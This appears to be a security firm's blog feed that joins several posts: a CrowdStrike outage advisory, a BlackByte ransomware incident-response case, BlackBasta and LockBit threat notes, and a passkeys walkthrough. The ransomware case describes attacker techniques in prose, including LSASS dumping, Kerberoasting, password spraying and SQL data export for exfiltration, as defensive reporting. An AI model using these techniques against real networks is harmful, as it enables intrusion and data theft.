Threat Alert CenterLearn More About Our Detection and Response Services
In the early hours of Friday, July 19th, at 04:09 UTC (06:09 CEST, 21:09 MST Thursday), a faulty CrowdStrike sensor configuration update – specifically a “channel file” – led to a widespread issue causing Windows hosts with sensor version 7.11 and above to encounter the Blue Screen of Death (BSOD).
CrowdStrike addressed this issue within 90 minutes, reverting the faulty channel file by 05:27 UTC.
Key points to note:
Kudelski Security stands with CrowdStrike during these challenging times. Our global strategic partnership with CrowdStrike has been a cornerstone of Kudelski Security’s Managed Security business since 2016.
Kudelski Security has been working diligently with our clients and CrowdStrike partners to resolve this issue as swiftly as possible.
The issue impacted Windows hosts that were online between 04:09 and 05:27 UTC and received the faulty channel file “C-00000291-*”
CrowdStrike has provided two methods to identify potentially impacted hosts: dedicated dashboards and an advanced event search query.
Windows hosts offline between 04:09 and 05:27 UTC are not impacted. Additionally, Linux and Mac hosts are not impacted.
Kudelski Security’s best practices reflected in our managed sensor update policies recommend using an N-2 version for your production hosts and an N-1 for a representative subset of hosts, i.e. your pilot hosts.
The key thing to understand is that it was not a faulty sensor update that went through testing, both on CrowdStrike and on the Kudelski Security side. The outage was caused by a channel file where there “are additional sensor instructions that provide updated settings for policies, allowlists and blocklists, detection exclusions, support for new OS patches, and more.”
Those files are pushed more often than new sensor versions and are not managed through sensor update policies.
CrowdStrike published multiple dashboards under Next-Gen SIEM > Log Management > Dashboards.
We recommend using the “hosts_possibly_impacted_by_windows_crashes_granular_status” dashboard as follows:
To use the dashboard:
In the “Impacted sensors by aid subset” widget, click on the menu in the top-right corner to find the option to export the results to file.
Here are the links for each cloud:
More information can be found on the dedicated page here: https://supportportal.crowdstrike.com/s/article/ka16T000001tm1eQAA
In addition to the dashboard, CrowdStrike has provided the queries used in the dashboards above to identify the potentially impacted hosts. These queries can be found at the end of the dashboard page: https://supportportal.crowdstrike.com/s/article/ka16T000001tm1eQAA .
Here are the links to the Advanced event search page:
CrowdStrike and cloud vendors have provided multiple official remediation options depending on the host type:
We have seen reports that rebooting the hosts multiple times might allow the reverted channel file to be downloaded. It is recommended to connect the host to a wired network instead of via WiFi and try rebooting multiple times.
If the host continues to crash, follow these steps:
For hosts encrypted with BitLocker, a recovery key might be required. CrowdStrike provides multiple methods to retrieve the BitLocker keys on https://www.crowdstrike.com/blog/statement-on-falcon-content-update-for-windows-hosts/
CrowdStrike and Microsoft have worked together to release a recovery tool available under https://techcommunity.microsoft.com/t5/intune-customer-success/new-recovery-tool-to-help-with-crowdstrike-issue-impacting/ba-p/4196959 to create a bootable USB drive to perform the remediation.
Finally, CrowdStrike just released today (Monday 22nd) a way to automatically remediate hosts.
This process is opt-in: you need to contact CrowdStrike support or provide the CFC authorization from one of your Falcon Administrators.
Then, rebooting the impacted hosts multiple times is required to allow the sensor the chance to download the latest instructions (quarantine the faulty channel file) before it is applied.
It is recommended to connect the host to a wired network.
UPDATE: Tuesday 23rd, this is now applied for all clients and opt-out instead. No need to open cases to the CrowdStrike support or to the CFC anymore. Therefore, only perform the manual or via USB remediation if the host does not recover.
Due to the scale of the outage, it is likely that threat actors will target CrowdStrike clients. CrowdStrike intelligence has already reported the registration of domain names that could be used to impersonate their website.
The CFC is actively monitoring the situation and will inform clients of further developments if necessary.
It’s that time of year again—the annual pilgrimage to Las Vegas for Black Hat USA and DEF CON. With this post, I’d like to point out a few of the events the research team will participate in and a few of the talks at Black Hat USA that I’m personally excited about. Several members of the Research team will be in Vegas for both Black Hat USA and DEF CON. We’d love to say hi and talk shop.
Note: If there are any last minute additions, they’ll be added to this post.
The following is a list of the talks and events that the Kudelski Security Research Team is participating in at Black Hat USA. This year threatens to be my busiest Black Hat ever, I guess I should wear comfortable shoes.
This year, Day Zero is a networking event and preview reception that will be held on Tuesday, August 6th, from 3 pm – 5 pm. I’ll be one of the Review Board representatives, answering questions, providing feedback and advice on submissions and presentations, and pretty much anything else you’d like to discuss.
This year, I’ll be hosting the new AI Track Meetup. Black Hat is setting aside space for networking on specific content areas. This is a zero-stress environment where you can discuss AI challenges and topics with fellow attendees and speakers. I’m also happy to discuss AI track specifics, content, as well as feedback on submitting to the track. Chatham House rule will be in effect, so feel comfortable sharing and don’t worry if there are things you don’t know about, we are all learning together.
The Forward Focus track is all about unsolved problems and emerging concerns. In this briefing, we tackle the topic of AI Safety and how it impacts organizations. Many think AI safety is only about existential risk, but that’s not the case AI safety is something every company needs to be concerned about. Join us for a discussion of the very real risks and impacts that organizations encounter today and what they can do about it.
Join us for a conversation on quantum security, where we dispell some myths and cover some facts about the impact of quantum computers on security. During this discussion we’ll cover the risks and concerns as well as provide some information on where organizations can start to address these risks.
The Locknote is a look back on the content from Black Hat USA 2024 from review board members. I’ll be on stage participating, sharing my perspective, and answering questions. I’m sure there will be some discussions of AI, after all, how can their not be this year. Come join us for the last session of BHUSA. I’ll also be around to chat afterward. The Locknote is open to all pass types.
There are plenty of amazing talks at Black Hat USA this year, and there is not enough time to see them all. The good thing about the AI talks I’m highlighting is that they cross into different areas of cybersecurity. So, there’s something for everyone. It’s AI heavy, but that’s to be expected, especially this year.
With so much hype and opinion spouting, it’s important to know where the rubber meets the road, especially with everyone trying to shove LLMs into absolutely everything. People are being confronted with challenges every day. This is why it’s important to have some practical takeaways that you can start using immediately after you return to work. This is why I’m excited about Rich’s talk.
I’ve pulled no punches in my claims that generative AI is overhyped. However, overhyped doesn’t mean useless. A couple of areas where generative AI can provide value to organizations is in the areas of security response and threat hunting.
We have two talks that highlight this area. These two talks provide valuable food for thought on how to replicate these approaches to work in your environments.
I’m a fan of reinforcement learning. Before everyone lost their minds over generative AI, reinforcement learning paved the way for solving difficult problems. This year, there are two very interesting reinforcement learning talks from different perspectives, one offensive and one defensive. These are cutting-edge approaches, and as such, it’s important to highlight the risks as well as the applications of the technology.
Using LLMs for malware analysis is nothing new. However, where these approaches have fallen on their face is when the context window isn’t big enough or when the malware is obfuscated. One way to address obfuscation is by taking a neural-symbolic approach. This approach may be a bit in the weeds for some, but it is pretty cool research.
In this installment of Tales from the Incident Response Cliff Face, we recount a ransomware attack against a European product manufacturing and distribution company.
This particular ransomware attack is interesting for several reasons, including the fact that it was carried out with assisted initial access and the threat mitigation was in real time, i.e. as the attack was taking place.
In this report, I’ll cover how the team swiftly counteracted the ongoing threats, navigating compromised systems and evading attackers.
I’ll also dissect the ransomware’s kill chain, from initial access to privilege escalation and lateral movement as well as how we secured the environment.
Like all of the Cliff Face reports, this tale highlights the need for robust security measures and rapid incident response, which I detail at the end.
.
Preamble
Our team frequently helps companies handle ransomware incidents, providing support that includes investigation into an attackers’ initial access vector and any persistence mechanisms used. We usually follow up with a heatmap of the attacker activities to unravel the kill chain in as much detail as we can gain from the compromised or restored environment. On occasion, and if required, we also engage with threat actors in negotiations.
But the common denominator in most ransomware attacks is that by the time it is investigated, it’s essentially a cold case. The attack has already unfolded, criminals have encrypted the environment and exfiltrated company data and, in many cases, the organization has received bad publicity and suffered some financial damage. The victim will have had to restore operations and harden security, but also, deal with stakeholder, customer and regulator notifications, potential legal repercussions, and the question of whether to pay ransom or not.
But what if organizations could avoid the calamity of dealing with the aftermath of a ransomware attack, including preventing downtime to operations?
In this edition of the Incident Response Cliff Face, I detail an experience where I helped a client do just this – dissecting the kill chain technicalities of the ransomware operators who were trying to exfiltrate data, even ‘running into’ the attackers in real time inside the network as I was conducting the analysis.
Beyond this, I also highlight what made the victim particularly vulnerable and share key takeaways from our efforts, including what businesses can do to protect themselves in the future.
The victim was one of the largest product manufacturing and distribution companies in Europe, with billions of dollars in annual revenue. It had outsourced its operational security, which included monitoring and EDR agent deployment, to a third-party managed security services provider (MSSP).
We were called to investigate the following alert, which had spawned from many devices at once (something no-one ever wants to wake up to):
Figure 1. Dumping LSASS with comsvc.dll
This is a documented method for dumping the Local Security Authority Subsystem Service (LSASS) process, so it can be manipulated offline and eliminate the need to use tools like mimikatz.
It is still an off-the-shelf technique, so I asked the client about the action only being raised (versus being blocked) and whether they had some custom settings on their EDR solution that might be behind this.
It was at this point I learned that the company was in the middle of migrating their fleet to another EDR solution, which until migration was complete, would be in audit mode only.
So, essentially, it could see but it could not take action.
This meant that the fleet we were dealing with was quite heterogenous: We would need to be mindful of both EDR consoles when checking for events as well as the usual blind spots that emerge when machines are waiting for the EDR to be installed.
That said, we still had a logical next point of inquiry. The data—as well as years of experience—tell us that compromised credentials for publicly exposed services (like VPN and Remote Desktop Protocol (RDP)), are by far the most common entry points for ransomware incidents.
So, we asked the company about MFA enforcement on their VPN gateway and were told that they had implemented this control. However, unbeknownst to our client, their MSSP was accessing their environments via their very own VPN gateway where MFA was not being enforced. A log analysis of this ‘unknown’ gateway revealed that the attackers had been taking advantage of it for months via the local user cisco and that in the week prior to the LSASS alert, significant activity by BlackByte gang was also taking place.
The LSASS dump alert was generated by user accounts that, unsurprisingly, were Domain Administrators. Further investigation revealed how the attacker ‘doubled’ their privilege escalation:
The VPN user cisco used the IP address 89.22.239.213 (see Figure 2) which—as the company confirmed—had a weak password. However, as this local VPN user had LAN access only, rights were limited; they could talk over the network but could not have access to the Windows domain.
Step 1 – Getting Window Domain Access
Investigation into the authentication events that happened shortly after, revealed that the attacker doubled down on their efforts to find a user account that would grant access to the Windows domain. They obtained this via password spraying attack (Figure 3).
We were able to prove that these different malicious activities were associated to the same attacker by looking at the TLS certificate in Censys (Figure 4), which revealed that the RDP was configured with TLS, thus indicating a positive match between host and IP.
After obtaining a valid username, the attacker then successfully brute forced the password.
The account in question belonged to a partner from another company who needed temporary access to the target organization’s resources. The organization had created a domain account and expected them to change the default password, which never happened, creating a vulnerability that was present for years.
Step 2 – Getting Domain Administrator Privileges
The LSASS dumping alert was not the only alert in the EDR console. Multiple alerts had been missed and I combed through days’ worth of data to find the ones that were relevant to this incident. Unfortunately, these alerts were not processed quickly enough by the third-party MSSP (possibly a result of the analysts having to monitor two separate dashboards until the EDR migration was complete), which allowed the attackers to roam freely.
The key question of how final privilege escalation happened was answered by one of the alerts I found in the new EDR console:
After obtaining the domain user [obscured by the red boxes above in Figure 5, we can see that the malicious actor went after the weak domain admin credentials.
The alert showcases a typical Kerberoast attack.
And it would have been caught by the MSSP—especially as it was not that subtle—if they had picked up key indicators.
All this to say that the attackers didn’t think twice when launching this high-risk high-reward attack because they correctly assumed that proper defenses were not implemented.
Shortly after the alert had been issued, we saw evidence that the attackers were using some Kerberoastable domain admin accounts with cleartext passwords, suggesting that the Kerberoast attack had been successful (See Figure 6). It goes without saying that, had the company implemented strong passwords, the attack would not have reached its objective.
So, with this being achieved, privilege escalation was complete.
It is worth mentioning that the attackers moved from nobodies to domain admins in exactly three passwords. They guessed the VPN user, then the domain user finaly that of the domain admin via kerberoast without using any malware in the environment; the attackers performed all these actions from the comfort of their own machines. The fact that they used unmanaged assets to do this is a reminder that security tooling investments must be complemented with proper hygiene around securing accounts, particularly the privileged ones.
Our investigation showed that—as with most threat actors—these attackers did not stop at obtaining domain admin privileges; they wanted to go deeper to access more accounts and identify more targets (Figures 6 and 7).
In this case, the attackers selected a couple of hosts where they could make themselves comfortable. They set up shop by installing python and preparing the tools they would need, which included Impacket Suite.
Specifically, we see that the attackers probed for the vulnerability CVE-2021-42278/ CVE-2021-42287 Domain Controllers (Figure 6). We also see that the threat actors executed the Isassy module from crackmapexec remotely on the machines, to comprise multiple privileged access accounts (Figure 7)— the action that triggered the LSASS dumping alert in the first place (Figure 1).
We also saw evidence of an attempt to dump the NTDS.dit, too (see Figure 8). But they met a dead end. So, they executed a lateral movement using the RDP as well as other common tools, such as the Impacket Suite, popular with penetration testers.
You may have noticed that the threat actors used common off-the-shelf offensive tooling. In fact, they downloaded some of them from temp.sh (see Figure 9) and stored them openly for ease of access.
One tool in particular appears to target CVE-2023-27532 (see Figure 10). This would enable the attacker to obtain encrypted credentials stored in the virtual machine, or VEEAM, configuration database.
Another off-the-shelf tool to clean system logs among other things, was also activated (see Figure 11).
Finally, the most interesting tool I saw was one that assisted the threat actors to prepare data for exfiltration (see Figure 12). By using the BlackByteSQLManager, the attackers would get visibility into the size and potential value of the data. This would then enable them to prioritize which data they should extract through keyword lookups with a view to then identifying what could be best leveraged in a ransom request.
Up to this point, I have been explaining how the threat actor has learned about their victim. The fact that we interrupted them halfway through their operation gave us access to the tool. Which in turn revealed their modus operandi as well as their name.
It was safe to assume that we were dealing with the BlackByte ransomware gang (see name at top of Figure 12). Further, with a little effort, I was able to establish what the password to this tool actually was.
The tool is a .Net assembly, which appears to have been obfuscated with SmartAssembly (see Figure 13).
I used the Simple Assembly Explorer to successfully de-obfuscate the payload and found the authentication method and consequently the password (See Figure 14).
Following the password discovery, I wanted to test the tool. I set up a dummy database, which would allow me to play with it (see Figure 15).
This way, I could list all SQL server databases (DBs) locally and sort tables by size to identify the more damaging data. At first, I thought it would scan and list all DBs in a network, but the localhost was hardcoded and there was no networking functionality, so it was clear that the tool needed to run on each data server. I discovered that the tool also enabled the threat actors to filter the data by interesting keywords, such as credit card and passwords and then export it to csv.
I observed the threat actor using the BlackByteSQLManager tool on some servers with (fortunately) non-sensitive data. As you would expect, the export functionality was as follows:
The sqlcmd utility targeted the local SQL Server instance and ‘Windows Authentication’ made the operation non interactive and eliminated the need for further user credentials (thanks to Domain Administrator privileges).
The data was then written into CSV files (See Figure 16).
We then observed the attacker manually inspecting some tables with file names that could indicate they contained sensitive information, e.g. ‘Bank Accounts’ and ‘Human Resource Data’. As it turned out, these tables did not contain much information (See Figure 17).
Another important observation we made was the attacker’s use of an unknown explorer.exe tool, which seemed to interact with the storage platform mega.co.nz. Though we could not get our hands on the sample to prove its data exfiltration functionality, it was a safe assumption to make that this was indeed the tool used to push the csv files to the mega storage platform (See Figure 18). Read Microsoft’s analysis on this particular aspect, here.
At this point in our investigation we had identified the entry vector, the compromised accounts and the lateral movement methods.
But crucially, we had also confirmed that sensitive data had not yet been exfiltrated.
All the tools and skills showcased so far pointed heavily towards a ransomware operation where encryption was imminent, so we had to act swiftly to try to cut the attackers off at the pass. To do it decisively and comprehensively, we needed to find all their persistence mechanisms.
The first sign of persistence we found was AnyDesk. This was installed as a service on some selected servers. Upon inspecting the logs, we confirmed that in addition to the VPN access, which they were already exploiting, the attackers were coming in via Anydesk (See Figure 19).
The second sign of persistence was the creation of local admin accounts, which were used over RDP (See Figure 20).
When the Incident Response team tried to eliminate the persistence secured by AnyDesk, we ran into a few issues:
The reason the attackers were still active was because the in-house security team had not yet articulated their response policies (which would have led to the swift removal of the threat attacker).
The general state of unpreparedness for an attack meant that we were forced to make suboptimal calls. Our choice was as follows:
Considering the tactics and techniques that we had identified and our assessment that the attackers were not extremely advanced, we decided that Option 2 was the preferable course of action:
We carried out the following:
This short list coupled with intensive monitoring enabled us to keep the business operational while kicking out the attackers – with minimal disruption (impact on sleep not included).
While not exactly risk-zero, this approach was the best option because we were sure we had the tooling and the skill to execute an efficient and effective investigation that would enable us to catch up with the attacker and act at scale.
Once the crisis was averted, we identified several key takeaways and recommendations organizations can take to protectthemselves from ransomware attacks by BlackByte
1. Enforce MFA everywhere applicable, especially for VPN use.
2. Leverage threat intel and IP reputation services to monitor for any successful connections to VPNs from VPS or certain foreign countries.
3. Ensure consistent and correct deployment of EDR solutions, so that—among other things—that alerts can be processed and escalated accordingly.
4. Perform Active Directory assessments to look for privileged escalation paths
5. Enforce a strong password policy, particularly for service accounts, which are a weakness we see in most environments we analyze.
6. Consider blocking file storage platforms and remote access commercial tools such as AnyDesk, TeamViewer, and NGrok, and set up alerts on any connection attempts especially from servers.
7. Make sure you understand the risks introduced by all third-party partners and service providers, and for those who need remote access, consider the following:
This list is obviously not exhaustive but implementing the recommendations will go a long way toward helping organizations protect themselves from ransomware attacks like the one we saw in this case.
The good news is that while cyber-attacks and attempted attacks will continue, companies that take efforts to identify threat actors as quickly as possible and always improve their defenses can stop criminals in their tracks and prevent widespread damage.
Click here to download the full case study, including the 7 key recommendations.
We observed them managing at least one SOCKS proxy server that is publicly listed. Although we couldn’t verify it, we suspect these servers are utilized for credential harvesting or malware injection. This inquiry is currently underway.
They are stealing security tools and license keys discovered on the targeted machine. We noticed them utilizing a virtual machine setup and conducting attack simulations to comprehend how to circumvent these products. The identified tools include:
It’s crucial that organizations meticulously track hosts incorporated into their tenant. And determine if a threat actor has installed an EDR using your license. To know if a threat actor installed an EDR with your license, some good indicators combination to search for anomalies are:
Nonetheless, this is highly dependent on your environment, look for anomalies in your context.
In terms of tools, they use traditional penetration testing tools, as you can see in the figure below. However, the detection emphasis on these tools should operate under the assumption that the binaries will execute on a system devoid of Endpoint Detection and Response (EDR) systems. This is due to two factors: The threat actor possesses procedures to disable EDRs. They can also utilize their own machines to establish a connection with your infrastructure with a VPN client. We observed several VPN clients deployed on threat actor machines. Consequently, the detection focus ought to be on the behavior exhibited by these tools.
Figure 1 – Tools dump
Security automation gained popularity within the blue team. These automated systems leverage API keys which offer significant access to the security platform such as EDRs. They are often not as closely monitored by organizations as user credentials, based on our observations.
We’ve discovered threat actors utilizing API keys to interface with Endpoint Detection and Response (EDR) systems, which can go undetected for an extended period. Therefore, it’s crucial to implement detection rules for suspicious API key creation or usage. Fortunately, some EDR vendors provide excellent settings to mitigate these risks.
Threat actors, even at the cybercriminal level, actively research Endpoint Detection and Response (EDR) technologies. Given this, it’s crucial to assume that not only nation-state actors but also cybercriminals could potentially quickly disable your EDR agents.
Device hardening is essential, as is having detection mechanisms for suspiciously inactive agents. However, consider detection methods beyond EDRs. Identity Providers (IdPs), for instance, can be valuable allies in this regard.
API key usage must be closely monitored, as they can grant access levels that allow code execution on any machine within an organization and even disable your security solution. Instances of EDRs being exploited to deploy malware are likely to increase, even within leading EDR providers in the market.
Detection systems heavily focus on identifying known malicious behavior, and frameworks like MITRE have been instrumental in providing structure to this process. However, the most significant and advanced incident response cases we have worked on, were based on noticing anomalies within the network segment or organizational context. These detections are specific to each organization or network segment and may require some research to define, but they could potentially save you some days and a bad breach experience.
Deception can serve as an early warning system too. For example, leaving monitored API keys or agent installation scripts that trigger an alert when accessed can be an effective strategy.
If you require additional information, please don’t hesitate to reach out to your account executive. For non-Kudelski Security clients, in the event of an incident involving Blackbasta, please contact our incident response team directly.
Taha El Graini & KS Threat Research Team
Many incident response cases we handle, are linked to ransomware incidents, with LockBit being a recurring group we encounter. Even if, technically, they are not the most advanced ones as they generally rely on well-known tools and don’t have access to 0days, they are undeniably successful criminal enterprises. As defenders, it’s often disheartening to witness the aftermath, with organizations locked out and data exfiltrated. It’s particularly distressing when we’re unable to decrypt the data and prevent the threat actors from leaking it.
The aim of this article is to explain how we were able to block the exfiltration during the initial attempts, how we collaborated with law enforcement on the Cronos operation, and finally to help organizations prevent ransomware attacks by proposing an approach to identify and thwart attacks before it is too late. Ransomware attacks can be prevented. This assertion is grounded on factual evidence derived from our extensive client base, and we remain hopeful that this trend will persist indefinitely.
As part of our expanding CTI initiatives, we were determined to proactively identify targets outside of our client’s monitoring range before it became too late for them. Going the extra mile, we delved deeper and looked for errors made by LockBit affiliates. Fortunately, our efforts paid off, yielding valuable findings. These discoveries were promptly shared with law enforcement agencies as part of our collaborative efforts toward LockBit takedown initiatives.
Please note that there are numerous affiliates associated with LockBit, and the information provided may not apply to all of them. All affiliates operate on their own and in an independent way. We see it as a guerrilla-like structure which contributes to the difficulty in making a lasting impact on these groups with takedowns. If the LockBit encryptor and data exfiltration methods cease to be effective, the affiliates may simply transition to another ransomware-as-a-service and persist in their operations.
To put it differently, defenders cannot completely eradicate a threat actor; instead, we can only diminish the profitability of the cybercriminal industry by increasing their expenses or covertly causing their operations to fail. Regardless of takedown efforts, these actors will persist in their extortion activities, dedicating 9 hours a day to target businesses. They learn every time they are attacked and adapt after a takedown. To not help the criminals some technical details have been omitted but feel free to reach us if you need additional information for the purpose of building solid defenses.
Finding summary
We’ve amassed a considerable amount of data. This presented and is still presenting a challenge for analysis. Our objective is to provide high-level actionable recommendations derived from the internal operations of these cybercriminal groups.
Some fun facts about threat actors, their servers are badly monitored for intrusion however they have a good random unique password policy for each server. They fall behind with technology like passwordless authentication. They did a good job of enabling automated antivirus updates however it seems that their patching process is failing. At least we were not able to find any documents discussing this topic. Were they a firm based in EMEA or the US, they would be highly susceptible to cyberattacks.
Regarding skills, our findings indicate an abundance of pentesting 101 guides, suggesting that the majority of operators of this affiliate lack advanced cyber offensive knowledge and instead adhere to basic playbooks.
Figure 1 – Translation of one of their manuals
In the next chapter, we provide recommendations that can be taken from the defender’s perspective. If you are a Kudelski Security client and would like to have a direct interaction to discuss certain points, feel free to reach out to your contact point, our detection team can provide insight into action taken to secure your organization.
Most of the recommendations derived from the findings still fall in the category of cyber security hygiene but we think that this is still interesting and valuable intelligence for defenders and could lead to some prioritization of projects.
Targets selection
How
Without big surprise, they are using internet network scan search engines like Shodan, Censys, and Zoomeye. They search for appliances or software that have vulnerabilities and perform then mass exploitation on those. Interesting they are performing those searches per region. The US seems to be a target of choice for them. We found files with Cisco, Fortinet, and other network devices. They then use publicly available exploits. Brute force and password leaks are also still a thing.
… be creative to find things that you don’t expect in your environment. Detecting threats is not about finding malware only, it is about flagging things that you don’t expect in your context. “Normal” means something totally different for every organization, this should be taken to your advantage.
On the malware topics, this will be discussed later but most techniques used by the threat actors are using legitimate credentials and commercial legitimate tools.
Cybercriminals must navigate an entire operation without raising suspicion to evade detection by defenders. Our analysis reveals that criminals consistently document the security products used by their targets and process methods to neutralize some of them. Those experienced in Red Team exercises can attest: that gaining access may be straightforward, but executing actions covertly presents a far greater challenge. Successfully conducting a full operation without being detected in an unfamiliar IT environment equipped with effective detection mechanisms is a .. can be very challenging.
In the fact that defenders cannot achieve a perfect zero-compromise, breach must be assumed, but they can thwart cybercriminal operations at some point. As defenders, we are the architects of the battlefield, strategically positioning our tools and traps. When executed effectively, this places threat actors in a strong disadvantage situation.
In this part 1, we’ve explored strategies for primarily reducing the likelihood of becoming a target for criminals, along with ideas for gathering early indicators of attack stages.
In the subsequent sections, we will deep dive into the later stages of attacks and examine what defenders can do. Stay tuned for more insights.
There was considerable attention around Passkeys last year. It was sometimes presented as the password killer technology. This came from the announcements of Apple and Google to support this technology and they were followed by many other services. The main advantages of passkeys compared to traditional passwords is their ability to be phishing resistant and server breach resistant. Another feature pushed by some actors is the ability to synchronize passkeys to multiple devices, even though this is not yet implemented everywhere. This would solve a big drawback of hardware security keys: the user credentials back-up. However the term passkey is confusing, many articles have explained how passkeys work conceptually but few explain how things work in practice and how they are implemented. In this blog we want to dig deeper and see how some of the existing solutions work in practice and to compare them to hardware security keys.
First, a passkey is a FIDO credential and it is created by a browser according to the WebAuthn specification. As detailed in a previous blog post, Webauthn specifies an API allowing a website to authenticate users using their browser. As a big picture, a service or a website (called relying party in Webauthn) authenticates a client by asking to sign a randomly generated challenge and other information with a client private key matching the public key known by the service. By design, the service will only store a public key and thus, if at some point it is breached, it cannot leak any information about the user private key. This feature is a big advantage when compared to traditional password authentication. In addition, the service address is included in the signature by the browser, therefore it thwarts phishing attacks.
As an example, the website webauthn.io allows for testing passkey creation.
If we click on “Register” button, the browser will start the credential creation. Practically speaking, the navigator.credentials.create() function is called to generate an asymmetric key pair for the service. Under compatible Microsoft Windows operating systems and browsers like Firefox, the following pop-up appears:
It asks us to enter our fingerprint or our PIN code to validate that we want to create a credential for this service. To have a glimpse of what is actually happening, we can open the browser console (F12 key) and check messages:
REGISTRATION OPTIONS
{
"rp": {
"name": "webauthn.io",
"id": "webauthn.io"
},
"user": {
"id": "c3lsdmFpbg",
"name": "sylvain",
"displayName": "sylvain"
},
"challenge": "5MvoufqYlltIT9JaQFMGG83ej7yeHqxOYmzE0vFkzVs2bIJEesg7zGoYiGhnrDBoj4ui9Uqa1wgfagbzlHluLQ",
"pubKeyCredParams": [
{
"type": "public-key",
"alg": -7
},
{
"type": "public-key",
"alg": -257
}
],
"timeout": 60000,
"excludeCredentials": [],
"authenticatorSelection": {
"residentKey": "preferred",
"requireResidentKey": false,
"userVerification": "preferred"
},
"attestation": "none",
"hints": [],
"extensions": {
"credProps": true
}
}The service (or relying party) webauthn.io requires the generation of a public key with algorithms -7 and -257, meaning ECDSA with SHA-256 or RSASSA-PKCS1-v1_5 with SHA-256. As soon as we have scanned our fingerprint or entered our PIN code, we have the freshly generated public key in the console:
REGISTRATION RESPONSE
{
"id": "j5MX4uBITwi0zQBMyu5CaQ",
"rawId": "j5MX4uBITwi0zQBMyu5CaQ",
"response": {
"attestationObject": "o2NmbXRkbm9uZWdhdHRTdG10oGhhdXRoRGF0YViUdKbqkhPJnC90siSSsyDPQCYqlMGpUKA5fyklC2CEHvBFAAAAANVIgm55tNtAo9gREW9-g0kAEI-TF-LgSE8ItM0ATMruQmmlAQIDJiABIVggc9C6bLjbr1myHSzFFrU60bsXemfXoeHNHRkpvu6EPvMiWCBX0h4x51kN_kA0UY_iIM9ZCcCO9vJv87YYvNRZi5ZDvQ",
"clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uY3JlYXRlIiwiY2hhbGxlbmdlIjoiNU12b3VmcVlsbHRJVDlKYVFGTUdHODNlajd5ZUhxeE9ZbXpFMHZGa3pWczJiSUpFZXNnN3pHb1lpR2huckRCb2o0dWk5VXFhMXdnZmFnYnpsSGx1TFEiLCJvcmlnaW4iOiJodHRwczovL3dlYmF1dGhuLmlvIiwiY3Jvc3NPcmlnaW4iOmZhbHNlfQ",
"transports": [
"internal"
],
"publicKeyAlgorithm": -7,
"publicKey": "MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEc9C6bLjbr1myHSzFFrU60bsXemfXoeHNHRkpvu6EPvNX0h4x51kN_kA0UY_iIM9ZCcCO9vJv87YYvNRZi5ZDvQ",
"authenticatorData": "dKbqkhPJnC90siSSsyDPQCYqlMGpUKA5fyklC2CEHvBFAAAAANVIgm55tNtAo9gREW9-g0kAEI-TF-LgSE8ItM0ATMruQmmlAQIDJiABIVggc9C6bLjbr1myHSzFFrU60bsXemfXoeHNHRkpvu6EPvMiWCBX0h4x51kN_kA0UY_iIM9ZCcCO9vJv87YYvNRZi5ZDvQ"
},
"type": "public-key",
"clientExtensionResults": {},
"authenticatorAttachment": "cross-platform"
}The browser also answers with a random id which allows for registering several passkeys for the same login. The private key is stored on the user side exclusively and therefore cannot be leaked by the server. Later, when the user authenticates on the same service, the function navigator.credentials.get is called. Again the following pop-up from Windows appears:
In the console, the following message appears at the same time:
AUTHENTICATION OPTIONS
(index):639 {
"challenge": "tGrdV4e5c2Ysb2ESzSOoje9nZk0ExA-RkG7j-rejmryRdPM02Mtr-f_gEAUQB4OEBeD_0TzeGkhKWfB5Xh9QBQ",
"timeout": 60000,
"rpId": "webauthn.io",
"allowCredentials": [
{
"id": "j5MX4uBITwi0zQBMyu5CaQ",
"type": "public-key",
"transports": [
"internal"
]
}
],
"userVerification": "preferred"
}Essentially, the service is asking us to sign a challenge together with the service address and other information. The service also displays the credential ids allowed to login and their types. For a passkey it is labeled “internal”, while for a hardware security key it would be “usb”. Again we enter our PIN code and the service authenticates us. In the console, we have the following message:
AUTHENTICATION RESPONSE
{
"id": "j5MX4uBITwi0zQBMyu5CaQ",
"rawId": "j5MX4uBITwi0zQBMyu5CaQ",
"response": {
"authenticatorData": "dKbqkhPJnC90siSSsyDPQCYqlMGpUKA5fyklC2CEHvAFAAAAAQ",
"clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoidEdyZFY0ZTVjMllzYjJFU3pTT29qZTluWmswRXhBLVJrRzdqLXJlam1yeVJkUE0wMk10ci1mX2dFQVVRQjRPRUJlRF8wVHplR2toS1dmQjVYaDlRQlEiLCJvcmlnaW4iOiJodHRwczovL3dlYmF1dGhuLmlvIiwiY3Jvc3NPcmlnaW4iOmZhbHNlfQ",
"signature": "MEUCIHbydreK68UUV7fEcFPDn3vEbmHL4AIyA6xYIWClv5GdAiEAidtPntmfvy4X5kGK1LWYl76OEqqCwYD5aFkiBIMU1O4",
"userHandle": "c3lsdmFpbg"
},
"type": "public-key",
"clientExtensionResults": {},
"authenticatorAttachment": "cross-platform"We notice that the field “clientDaraJSON” which is part of the message signed has the “origin” field in its content:
>>> from base64 import urlsafe_b64decode
>>> urlsafe_b64decode("eyJjaGFsbGVuZ2UiOiJyUkYtSUxGNGN6dklObGpnbnhfUXVFd1dRc2JUbmt5Y2RxcTJjVVZUUjJTT3NaZmtsaU9ZZ3VxMkJqQVBEdmJIa3VWZTd2V3Z2TF9EdE1YSkRpTTg3ZyIsIm9yaWdpbiI6Imh0dHBzOi8vd2ViYXV0aG4uaW8iLCJ0eXBlIjoid2ViYXV0aG4uZ2V0In0==")
b'{"challenge":"rRF-ILF4czvINljgnx_QuEwWQsbTnkycdqq2cUVTR2SOsZfkliOYguq2BjAPDvbHkuVe7vWvvL_DtMXJDiM87g","origin":"https://webauthn.io","type":"webauthn.get"}'This field is read by the browser directly and not given by the service. It allows to detect any phishing tentative, since the signature is not valid for another service.
Finally in Windows, the passkeys are secured by Microsoft Hello using the system TPM (if available). We can manage the saved passkeys in the Passkey settings menu:
The only problem so far, is that we do not have much information on how the passkeys are generated, stored and secured. We can neither export them to another device, for example, a Linux machine. We can get some additional information with certutil tool in command line:
> certutil -csp "Microsoft Passport Key Storage Provider" -key -v
Microsoft Passport Key Storage Provider:
S-1-12-1-3939627729-1327541301-18900911-3508007247/a946056c-151d-469b-8fb1-f2efad69b10a/FIDO_AUTHENTICATOR//74a6ea9213c99c2f74b22492b320cf40262a94c1a950a0397f29250b60841ef0_63336c73646d46706267
ECDSA_P256
RSA
Key Id Hash(rfc-sha1): 32384a43c96daa0f4a46652d479a9b075227b0f8
